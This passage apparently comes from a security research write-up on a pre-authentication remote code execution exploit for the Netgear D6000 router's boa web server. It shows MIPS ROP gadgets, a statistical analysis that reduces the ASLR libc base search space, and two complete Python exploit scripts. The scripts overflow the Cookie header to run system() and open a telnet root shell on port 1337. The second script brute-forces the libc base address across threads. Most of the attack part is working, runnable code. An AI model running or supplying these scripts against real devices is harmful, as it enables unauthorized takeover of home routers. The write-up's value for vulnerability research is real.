59c38: 04410010 bgez v0,59c7c <__libc_system+0xcc>
59c74: 1000003f b 59d74 <__libc_system+0x1c4>
59c7c: 1440001b bnez v0,59cec <__libc_system+0x13c>
59d2c: 14620002 bne v1,v0,59d38 <__libc_system+0x188>
Gadget 1: 0x0000c670
move $t9, $s1; # t9 = s1
jalr $t9; # jalr t9
addiu $a1, $sp, 0xb8; # a1 = sp + 0xb8
Gadget 2: 0x00041980
move $a0, $a1; # a0 = a1
addiu $a2, $zero, 0xc; # a2 = 0xc
move $t9, $s0; # t9 = s0
jalr $t9; # jalr t9
move $a1, $zero; # a1 = 0
File: exploit_1.py
import socket
# Bash command to execute on the system during the ROP chain.
COMMAND = b"$(utelnetd -l/bin/sh -p1337)#"
# Let's generate a cyclic pattern using the following tool:
# - https://wiremask.eu/tools/buffer-overflow-pattern-generator/
PAYLOAD = bytearray(
b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3" + \
b"Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7" + \
b"Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1" + \
b"Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5" + \
b"Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9" + \
b"Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3" + \
b"Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7" + \
b"Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1" + \
b"At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5" + \
b"Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9" + \
b"Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3" + \
b"Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7" + \
b"Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1" + \
b"Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5" + \
b"Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9" + \
b"Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3" + \
b"Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7" + \
b"Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1" + \
b"Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5" + \
b"Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9" + \
b"Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3" + \
b"By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7" + \
b"Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1" + \
b"Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5" + \
b"Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9" + \
b"Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3" + \
b"Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7" + \
b"Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
)
# This dictionary stores markers allowing us to determine the offset allowing us
# to control each register.
TRIGGERS = {
"s0": b"h8Bh", "s1": b"9Bi0", "s2": b"Bi1B", "s3": b"i2Bi", "s4": b"3Bi4",
"s5": b"Bi5B", "s6": b"i6Bi", "s7": b"7Bi8", "s8": b"Bi9B",
"sp": b"1Bj2",
"ra": b"j0Bj",
"next_sp": b"Bp3B"
}
# This dictionary stores the offsets allowing us to control the value stored in
# each register.
INDEXES = {
"s0": PAYLOAD.find(TRIGGERS["s0"]), "s1": PAYLOAD.find(TRIGGERS["s1"]),
"s2": PAYLOAD.find(TRIGGERS["s2"]), "s3": PAYLOAD.find(TRIGGERS["s3"]),
"s4": PAYLOAD.find(TRIGGERS["s4"]), "s5": PAYLOAD.find(TRIGGERS["s5"]),
"s6": PAYLOAD.find(TRIGGERS["s6"]), "s7": PAYLOAD.find(TRIGGERS["s7"]),
"s8": PAYLOAD.find(TRIGGERS["s8"]),
"sp": PAYLOAD.find(TRIGGERS["sp"]),
"ra": PAYLOAD.find(TRIGGERS["ra"]),
"next_sp": PAYLOAD.find(TRIGGERS["next_sp"])
}
# This dictionary contains the offsets of the gadgets useful for the ROP chain
# within the libc.
GADGET_OFFSETS = {
1: 0x0000c670, # 0x0000c670: move $t9, $s1; jalr $t9; addiu $a1, $sp, 0xb8;
2: 0x00041980, # 0x00041980: move $a0, $a1; addiu $a2, $zero, 0xc; move $t9, $s0; jalr $t9; move $a1, $zero;
}
# 00059bb0 <__libc_system>:
SYSTEM_OFFSET = 0x00059bb0
# This function allows us to define the value stored in a register.
def set_register_value(register, value):
PAYLOAD[ INDEXES[register] : INDEXES[register] + 4 ] = value
# This function allows us to define the system command to be executed.
def set_command(command):
PAYLOAD[ INDEXES["next_sp"] : INDEXES["next_sp"] + len(command) ] = command
# We get the libc base address.
libc_base_address = int(input("Enter libc base address:\n> ").replace("0x", ""), 16)
# We recalculate the gadget addresses using the libc base address.
gadgets = {}
for i in GADGET_OFFSETS:
print(f"[*] Gadget {i} offset: {hex(GADGET_OFFSETS[i])}")
gadgets[i] = hex(libc_base_address + GADGET_OFFSETS[i])
print(f"[*] Gadget {i} is at address: {gadgets[i]}")
gadgets[i] = bytearray.fromhex(gadgets[i].replace("0x", ""))
# We recalculate the address of the system() function.
print(f"[*] system() offset: {hex(SYSTEM_OFFSET)}")
system = hex(libc_base_address + SYSTEM_OFFSET)
print(f"[*] system() is at address: {system}")
system = bytearray.fromhex(system.replace("0x", ""))
# This wait allows us to define breakpoints in the debugger.
wait = input("Press enter to continue ...\n")
set_register_value("s0", system)
set_register_value("s1", gadgets[2])
set_register_value("ra", gadgets[1])
set_command(COMMAND)
# We prepare the HTTP request.
request = b""
request += b"GET / HTTP/1.1\r\n"
request += b"Host: 192.168.1.1\r\n"
# we inject our payload into the Cookie header.
request += b"Cookie: SESSIONID=" + PAYLOAD + b"\n\n"
request += b"\r\n\r\n"
# We connect ourselves via a TCP connection to the router's listening port (80).
fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fd.connect(("192.168.1.1", 80))
# HTTP request is sent to the target.
fd.send(request)
So far, we’ve exploited the target, but since ASLR was enabled, we had to find the address to which libc was mapped in RAM manually (via a command presented earlier in the debug chapter).
Exploit part 3, let’s bypass ASLR
We used a simple method to analyze the behavior of ASLR and its impact on libc’s
base address. As the boa
process is automatically restarted in case of a crash,
we followed the following iterative steps:
- Kill the
boa
process in order to restart it.kill $(ps|grep boa|grep -v grep|cut -d " " -f 1)
- Retrieve the libc base address from the memory of the newly created
boa
process.cat /proc/$(ps|grep boa|grep -v grep|cut -d ' ' -f 1)/maps|grep "/lib/libc.so.0"|grep xp
After multiple iterations, we were able to collect the following results:
2b12b000-2b192000 r-xp 00000000 1f:03 1169 /lib/libc.so.0
2b029000-2b090000 r-xp 00000000 1f:03 1169 /lib/libc.so.0
2b399000-2b400000 r-xp 00000000 1f:03 1169 /lib/libc.so.0
...
2b131000-2b198000 r-xp 00000000 1f:03 1169 /lib/libc.so.0
2b9f5000-2ba5c000 r-xp 00000000 1f:03 1169 /lib/libc.so.0
2b0cf000-2b136000 r-xp 00000000 1f:03 1169 /lib/libc.so.0
We can summarize the results as follows:
- Value:
0x2b12b000
- Value:
0x2b029000
- Value:
0x2b399000
- Value: …
Which can be decomposed as:
- Value:
0x2b12b000
- Prefix:
0x2b
- Random part:
12b
- Suffix:
000
- Prefix:
- Value:
0x2b029000
- Prefix:
0x2b
- Random part:
029
- Suffix:
000
- Prefix:
- Value:
0x2b399000
- Prefix:
0x2b
- Random part:
399
- Suffix:
000
- Prefix:
In fact, we’ve realized that libc’s base address is made up of just 3 random values, (4096 possibilities) the rest being fixed. By creating a multithreaded exploit, it is possible to brute force the base address of the libc and thus obtain a complete exploit as it was exactly done in this previous article:
But what if I told you it is possible to do better?
Values distribution analysis
First, we’ll generate a libc base address dataset by repeatedly launching and
killing the process boa
using the following script (to launch on the router):
File: run.sh
for i in 1 2 <...> 999 1000
do
killall boa
sleep 2
pid=$(ps|grep boa|grep -v grep|awk '{ print $1 }')
cat /proc/$pid/maps|grep "/lib/libc\.so\.0"|grep xp > /tmp/result_$i.log
done
Then let’s disassemble these addresses.
cat result*.log|cut -d "-" -f 1 > base_address.lst
cut -c-2 base_address.lst > prefix.lst
cut -c-5 base_address.lst > guess.lst
For the file guess.lst, remove the prefix using the following regexes:
^2a
^2b
Then you can either only keep the first value by removing other values (file first_byte_to_guess.lst):
..$
Or keep the third value by removing other values (file third_byte_to_guess.lst):
^..
Or keep the second value by removing other values (file second_byte_to_guess.lst):
^.
.$
To get a more accurate overview of this completely experimental analysis, I’ve chosen to run two sets of tests.
Run 0 (256 base address)
value | prefix | first value | second value | third value |
---|---|---|---|---|
0x2a |
44/256 (17.1875%) |
|||
0x2b |
212/256 (82.8125%) |
|||
0x0 |
13/256 (5.078125%) |
16/256 (6.25%) |
0/256 (0.0%) |
|
0x1 |
19/256 (7.421875%) |
13/256 (5.078125%) |
26/256 (10.15625%) |
|
0x2 |
12/256 (4.6875%) |
20/256 (7.8125%) |
0/256 (0.0%) |
|
0x3 |
24/256 (9.375%) |
12/256 (4.6875%) |
41/256 (16.015625%) |
|
0x4 |
18/256 (7.03125%) |
21/256 (8.203125%) |
0/256 (0.0%) |
|
0x5 |
16/256 (6.25%) |
25/256 (9.765625%) |
33/256 (12.890625%) |
|
0x6 |
14/256 (5.46875%) |
15/256 (5.859375%) |
0/256 (0.0%) |
|
0x7 |
18/256 (7.03125%) |
21/256 (8.203125%) |
29/256 (11.328125%) |
|
0x8 |
20/256 (7.8125%) |
20/256 (7.8125%) |
1/256 (0.390625%) |
|
0x9 |
16/256 (6.25%) |
8/256 (3.125%) |
23/256 (8.984375%) |
|
0xa |
10/256 (3.90625%) |
11/256 (4.296875%) |
1/256 (0.390625%) |
|
0xb |
16/256 (6.25%) |
13/256 (5.078125%) |
24/256 (9.375%) |
|
0xc |
15/256 (5.859375%) |
16/256 (6.25%) |
1/256 (0.390625%) |
|
0xd |
18/256 (7.03125%) |
17/256 (6.640625%) |
31/256 (12.109375%) |
|
0xe |
18/256 (7.03125%) |
17/256 (6.640625%) |
2/256 (0.78125%) |
|
0xf |
9/256 (3.515625%) |
11/256 (4.296875%) |
44/256 (17.1875%) |
Run 1 (256 base address)
value | prefix | first value | second value | third value |
---|---|---|---|---|
0x2a |
37/256 (14.453125%) |
|||
0x2b |
219/256 (85.546875) |
|||
0x0 |
14/256 (5.46875%) |
18/256 (7.03125%) |
0/256 (0.0%) |
|
0x1 |
17/256 (6.640625%) |
17/256 (6.640625%) |
35/256 (13.671875%) |
|
0x2 |
15/256 (5.859375%) |
18/256 (7.03125%) |
0/256 (0.0%) |
|
0x3 |
14/256 (5.46875%) |
8/256 (3.125%) |
26/256 (10.15625%) |
|
0x4 |
17/256 (6.640625%) |
12/256 (4.6875%) |
1/256 (0.390625%) |
|
0x5 |
15/256 (5.859375%) |
14/256 (5.46875%) |
23/256 (8.984375%) |
|
0x6 |
20/256 (7.8125%) |
16/256 (6.25%) |
1/256 (0.390625%) |
|
0x7 |
19/256 (7.421875%) |
22/256 (8.59375%) |
30/256 (11.71875%) |
|
0x8 |
16/256 (6.25%) |
12/256 (4.6875%) |
0/256 (0.0%) |
|
0x9 |
14/256 (5.46875%) |
17/256 (6.640625%) |
33/256 (12.890625%) |
|
0xa |
23/256 (8.984375%) |
20/256 (7.8125%) |
0/256 (0.0%) |
|
0xb |
16/256 (6.25%) |
13/256 (5.078125%) |
30/256 (11.71875%) |
|
0xc |
15/256 (5.859375%) |
14/256 (5.46875%) |
0/256 (0.0%) |
|
0xd |
24/256 (9.375%) |
20/256 (7.8125%) |
43/256 (16.796875%) |
|
0xe |
13/256 (5.078125%) |
18/256 (7.03125%) |
1/256 (0.390625%) |
|
0xf |
4/256 (1.5625%) |
17/256 (6.640625%) |
33/256 (12.890625%) |
Prefix
As you can see, the probability of obtaining a prefix with the value 0x2b
is
high (greater than 80%
).
First value
As we can see, the probability of having the representation of the integer 15
(0xf
) for the first value is very low (less than 4%
).
Third value
As we can see, the probability of having the representation of an even number
for the third value is very low (close to 0%
).
Results analysis
By taking all of these information into account, we can reduce our search
space of the libc base address from 16 * 16 * 16 = 4096
values to
15 * 16 * 8 = 1920
values.
POC
Exploit execution time is random, as it depends on the probability of finding the right libc base address (1920 possibility).
File: exploit.py
import argparse
import os
import random
import socket
import threading
import time
# This variable is used to manage verbosity.
DEBUG = 0
# Port on which the utelnetd process should listen.
TELNETD_PORT = 1337
# Bash command to execute on the system during the ROP chain.
COMMAND = b"$(utelnetd -l/bin/sh -p" + f"{TELNETD_PORT}".encode() + b")#"
# Let's generate a cyclic pattern using the following tool:
# - https://wiremask.eu/tools/buffer-overflow-pattern-generator/
PAYLOAD = bytearray(
b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3" + \
b"Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7" + \
b"Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1" + \
b"Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5" + \
b"Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9" + \
b"Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3" + \
b"Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7" + \
b"Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1" + \
b"At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5" + \
b"Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9" + \
b"Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3" + \
b"Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7" + \
b"Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1" + \
b"Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5" + \
b"Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9" + \
b"Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3" + \
b"Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7" + \
b"Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1" + \
b"Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5" + \
b"Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9" + \
b"Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3" + \
b"By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7" + \
b"Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1" + \
b"Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5" + \
b"Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9" + \
b"Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3" + \
b"Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7" + \
b"Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
)
# This dictionary stores markers allowing us to determine the offset allowing us
# to control each register.
TRIGGERS = {
"s0": b"h8Bh", "s1": b"9Bi0", "s2": b"Bi1B", "s3": b"i2Bi", "s4": b"3Bi4",
"s5": b"Bi5B", "s6": b"i6Bi", "s7": b"7Bi8", "s8": b"Bi9B",
"sp": b"1Bj2",
"ra": b"j0Bj",
"next_sp": b"Bp3B"
}
# This dictionary stores the offsets allowing us to control the value stored in
# each register.
INDEXES = {
"s0": PAYLOAD.find(TRIGGERS["s0"]), "s1": PAYLOAD.find(TRIGGERS["s1"]),
"s2": PAYLOAD.find(TRIGGERS["s2"]), "s3": PAYLOAD.find(TRIGGERS["s3"]),
"s4": PAYLOAD.find(TRIGGERS["s4"]), "s5": PAYLOAD.find(TRIGGERS["s5"]),
"s6": PAYLOAD.find(TRIGGERS["s6"]), "s7": PAYLOAD.find(TRIGGERS["s7"]),
"s8": PAYLOAD.find(TRIGGERS["s8"]),
"sp": PAYLOAD.find(TRIGGERS["sp"]),
"ra": PAYLOAD.find(TRIGGERS["ra"]),
"next_sp": PAYLOAD.find(TRIGGERS["next_sp"])
}
# This dictionary contains the offsets of the gadgets useful for the ROP chain
# within the libc.
GADGET_OFFSETS = {
1: 0x0000c670, # 0x0000c670: move $t9, $s1; jalr $t9; addiu $a1, $sp, 0xb8;
2: 0x00041980, # 0x00041980: move $a0, $a1; addiu $a2, $zero, 0xc; move $t9, $s0; jalr $t9; move $a1, $zero;
}
# 00059bb0 <__libc_system>:
SYSTEM_OFFSET = 0x00059bb0
# Most likely address of libc's base.
LIBC_BASE_ADDRESS = []
for a in [hex(i)[2::] for i in range(0,15)]:
for b in [hex(i)[2::] for i in range(0,16)]:
for c in [hex(i)[2::] for i in range(1,16,2)]:
LIBC_BASE_ADDRESS.append(f"0x2b{a}{b}{c}000")
# This function allows us to define the value stored in a register.
def set_register_value(register, value):
PAYLOAD[ INDEXES[register] : INDEXES[register] + 4 ] = value
# This function allows us to define the system command to be executed.
def set_command(command):
PAYLOAD[ INDEXES["next_sp"] : INDEXES["next_sp"] + len(command) ] = command
# This function is used to brute force the libc's base address.
def brute_force_libc_base_address(options):
print("[*] Brute forcing libc's bases address ...")
while 1:
random.shuffle(LIBC_BASE_ADDRESS)
for i in LIBC_BASE_ADDRESS:
# We get the libc base address from the pre-calculated one.
if DEBUG:
print(f"[*] Libc's base address: {i}")
libc_base_address = int(i.replace("0x", ""), 16)
# We recalculate the gadget addresses using the libc base address.
gadgets = {}
for i in GADGET_OFFSETS:
gadgets[i] = hex(libc_base_address + GADGET_OFFSETS[i])
if DEBUG:
print(f"[*] Gadget {i} offset: {hex(GADGET_OFFSETS[i])}")
print(f"[*] Gadget {i} is at address: {gadgets[i]}")
gadgets[i] = bytearray.fromhex(gadgets[i].replace("0x", ""))
# We recalculate the address of the system() function.
system = hex(libc_base_address + SYSTEM_OFFSET)
if DEBUG:
print(f"[*] system() offset: {hex(SYSTEM_OFFSET)}")
print(f"[*] system() is at address: {system}")
system = bytearray.fromhex(system.replace("0x", ""))
set_register_value("s0", system)
set_register_value("s1", gadgets[2])
set_register_value("ra", gadgets[1])
set_command(COMMAND)
# We prepare the HTTP request.
request = b""
request += b"GET / HTTP/1.1\r\n"
request += b"Host: " + options["ip"].encode() + b"\r\n"
# we inject our payload into the Cookie header.
request += b"Cookie: SESSIONID=" + PAYLOAD + b"\n\n"
request += b"\r\n\r\n"
try:
# We connect ourselves via a TCP connection to the router's listening port (80).
fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fd.connect((options["ip"], int(options["port"])))
# HTTP request is sent to the target.
fd.send(request)
except Exception as e:
pass
# This function checks whether the exploit has succeeded and whether a port is
# listening on port TELNETD_PORT.
def check(options):
print("[*] Checking if exploit succeed ...")
while 1:
try:
# We connect ourselves via a TCP connection to the router's listening port (80).
fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fd.connect((options["ip"], int(TELNETD_PORT)))
print(f"[+] Exploit succeed:\n\t- Executed command: {COMMAND.decode()}")
os._exit(0)
except Exception as e:
time.sleep(10)
def main(options):
threads = []
# Thread to brute force libc's base address.
thread = threading.Thread(target=brute_force_libc_base_address, args=(options,))
thread.start()
threads.append(thread)
# Thread to check if exploit succeed
thread = threading.Thread(target=check, args=(options,))
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Netgear D6000, Remote Code Execution (pre-auth)")
parser.add_argument("ip", help="Target's IP.")
parser.add_argument("port", help="Target's port.")
args = parser.parse_args()
options = {}
options["ip"] = args.ip
options["port"] = args.port
main(options)
Thank you for taking the time to read this article.